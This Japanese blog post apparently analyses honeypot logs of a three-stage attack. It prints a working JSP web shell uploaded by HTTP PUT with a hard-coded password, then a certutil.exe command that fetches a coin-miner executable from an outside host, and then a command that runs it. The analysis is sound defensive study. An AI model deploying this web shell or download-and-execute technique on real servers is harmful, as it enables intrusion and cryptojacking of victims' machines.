jspによるWebShell作成〜コインマイナー実行の試み
Java女子としては見逃せない(?!)、jspを利用したWebShell作成の試みをWOWHoneypotで発見しました。
同一IPからの連続したアクセスで、「Webshell作成」「WebShellを利用したコインマイナー設置」「WebShellを利用したコインマイナー実行」と三段階の攻撃の試みとなっていました。
その1 (Webshellの作成)
PUT /indexweb4.jsp/ HTTP/1.1 Connection: Keep-Alive Content-Type: text/plain; Charset=UTF-8 Accept: */* Accept-Language: zh-cn Referer: http://xxx.xxx.xxx.xxx:80/indexweb4.jsp/ User-Agent: Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1) Content-Length: 776 Host: xxx.xxx.xxx.xxx <%@ page language="java" import="java.util.*,java.io.*" pageEncoding="UTF-8"%> <%!public static String excuteCmd(String c) { StringBuilder line = new StringBuilder(); try { Process pro = Runtime.getRuntime().exec(c); BufferedReader buf = new BufferedReader(new InputStreamReader(pro.getInputStream())); String temp = null; while ((temp = buf.readLine()) != null) { line.append(temp+"\\n"); } buf.close(); } catch (Exception e) { line.append(e.getMessage()); } return line.toString(); } %> <% if("bala123".equals(request.getParameter("pwd"))&&!"".equals(request.getParameter("cmd"))) { out.println("<pre>"+excuteCmd(request.getParameter("cmd"))+"</pre>"); } else { out.println(":-)"); } %>
HTTPのPUTメソッドで、jspファイルの設置を試みているようです。
リクエストパラメータとしては pwd
cmd
を受け取る作りになっており、動作としては大まかには以下のようになります。
pwd
が想定しているもの("bala123")と一致する場合、cmd
の内容を画面に表示し、コマンドを実行pwd
が想定しているもの("bala123")と一致しなければ:-)
を画面に表示して終了
:-)
を表示して終了って……
余談ですが、Javaで文字列の比較を行うときは、定数を先に持ってくるのがセオリーでしたね。
変数を先にして request.getParameter("pwd").equals("bala123")
としてしまうと、リクエストパラメータのpwdがnullの際にNullPointerExceptionが発生してしまいます。
"bala123".equals(request.getParameter("pwd"))
とすることで、pwdがnullの場合もNullPointerExceptionを発生させることなく、結果をfalseとして処理できるようになっています。
その2 (WebShellを利用したコインマイナー設置の試み)
GET /indexweb4.jsp?cmd=cmd.exe%20/c%20certutil.exe%20-urlcache%20-split%20-f%20http://3389.space/nw/vm.exe%20c:/windows/inf/sst.exe&pwd=bala123 HTTP/1.1 Connection: Keep-Alive Accept: */* Accept-Language: zh-cn Referer: http://104.197.55.223:80/indexweb4.jsp?cmd=cmd.exe%20/c%20certutil.exe%20-urlcache%20-split%20-f%20http://3389.space/nw/vm.exe%20c:/windows/inf/sst.exe&pwd=bala123 User-Agent: Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1) Host: xxx.xxx.xxx.xxx
「その1」のWebShell作成の試みが成功したという想定で、次なるリクエストを投げてきています。
pwd=bala123
は、「その1」で想定している pwd
の値と等しいため、 cmd
に記載されている内容が実行されます。 cmd
の内容をURLデコードして見てみると以下のようになります。
cmd.exe /c certutil.exe -urlcache -split -f http://3389.space/nw/vm.exe c:/windows/inf/sst.exe
記述から、Windows向けの処理であることが推測できます。
certutil.exe はWindowsで証明機関の構成/管理を行うコマンドなのですが、上記のように -urlcache
-split
-f
オプションを併用することで、インターネット上から任意のデータをダウンロードを行うことが可能となるそうです。
参考 : A Suspicious Use of certutil.exe - SANS Internet Storm Center
「Windowsにもともと入っているツールで、簡単にインターネットからのファイルダウンロードができる」というところで、なかなかギミックが効いていてカッコいいコマンドの使い方だなあと思うわけですが、悪意あるファイルのダウンロードに利用されると怖いですね。
今回は、指定されたURLからvm.exeを取得し、 c:/windows/inf/sst.exeとして保存しています。vm.exe については、VirusTotalで検索したところ、コインマイナーであるらしいとの情報が出てきました。
その3 (WebShellを利用したコインマイナー実行の試み)
GET /indexweb4.jsp?cmd=cmd.exe%20/c%20c:\windows\inf\sst.exe&pwd=bala123 HTTP/1.1 Connection: Keep-Alive Accept: */* Accept-Language: zh-cn Referer: http://104.197.55.223:80/indexweb4.jsp?cmd=cmd.exe%20/c%20c:\windows\inf\sst.exe&pwd=bala123 User-Agent: Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1) Host: xxx.xxx.xxx.xxx
「その2」が成功した想定で、さらに次のリクエストを投げてきています。こちらも想定された pwd
の値が送られてきているため、 cmd
の内容が実行されることとなります。 cmd
をURLデコードした結果が以下です。
/cmd.exe /c c:\windows\inf\sst.exe
もうこれは説明するまでもないのですが、「その2」でダウンロードしたファイルの実行を行っています。WebShellの設置、コインマイナーのダウンロードが済んだので、次はいよいよコインマイナーの実行に入ろうというところですね。
まとめ
順を追ってログを追うことで、WebShellがどのように作成され、どのように利用されようとしているかを知ることができました。
こういった連続したログから、意図やストーリーみたいなものが見える瞬間が、ハニーポット観察の中で一番好きです。笑